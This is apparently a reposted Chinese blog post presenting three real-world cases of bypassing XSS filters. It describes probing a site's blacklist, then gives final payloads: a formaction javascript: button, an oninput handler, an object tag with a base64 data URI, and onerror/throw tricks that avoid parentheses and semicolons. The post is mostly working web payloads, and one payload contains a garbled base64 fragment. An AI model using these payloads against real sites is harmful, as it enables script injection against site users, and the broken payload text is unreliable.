XXS Bypass 实战案例

案例一

1、简单输入998判断出用户可控点。

2、输入特殊字符{“<>?/‘}判断出过滤情况。

3、输入标签、事件等判断过滤情况。

大概是正则黑名单。

危险事件结合等号就过滤。

src 直接删除

alert后面()才会过滤为空

标签只要有结尾符>直接过滤为空

·······

4、最终Payload

Fuzzing出未过滤事件 from action 利用 重音符(’) 替换圆括号

"/><input type=”submit” formaction=Javascript:alert998//
Fuzzing出未过滤事件 oninput事件 <font color=red>利用浏览器特性补全标签
或者:
“><input type=”text” oninput=”prompt(998)”<

案例二

1、简单输入998判断出用户可控点

2、一部分字符转义,一部分标签过滤

3、fuzzing出object标签未过滤

最终Payload

998"/<objectdata="data:text/html;base64,PHNjcmlwdD5hbGVydCg5OTgpPC9zY3JpcHQBIZ_PLUSFLAG">998<!--

案例三
圆括号和分号被过滤
1 它的工作原理是将onerror处理程序设置为您要调用的函数,该throw语句用于将参数传递给函数:
payload:

<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>

onerror每次创建JavaScript异常时都会调用该处理程序,并且该throw语句允许您创建包含发送到onerror处理程序的表达式的自定义异常。因为throw是一个语句,所以通常需要onerror使用分号来完成赋值,以便开始一个新的语句而不是形成一个表达式。
2 因为throw语句接受一个表达式,所以你可以onerror在throw语句中进行赋值, 并且因为表达式的最后一部分被发送到onerror处理程序,所以将使用所选参数调用该函数

<script>throw onerror=alert,'some string',123,'haha'</script>

在这里插入图片描述

ps:部分资料参考自互联网

猜你喜欢

转载自blog.csdn.net/qq_39326816/article/details/91899760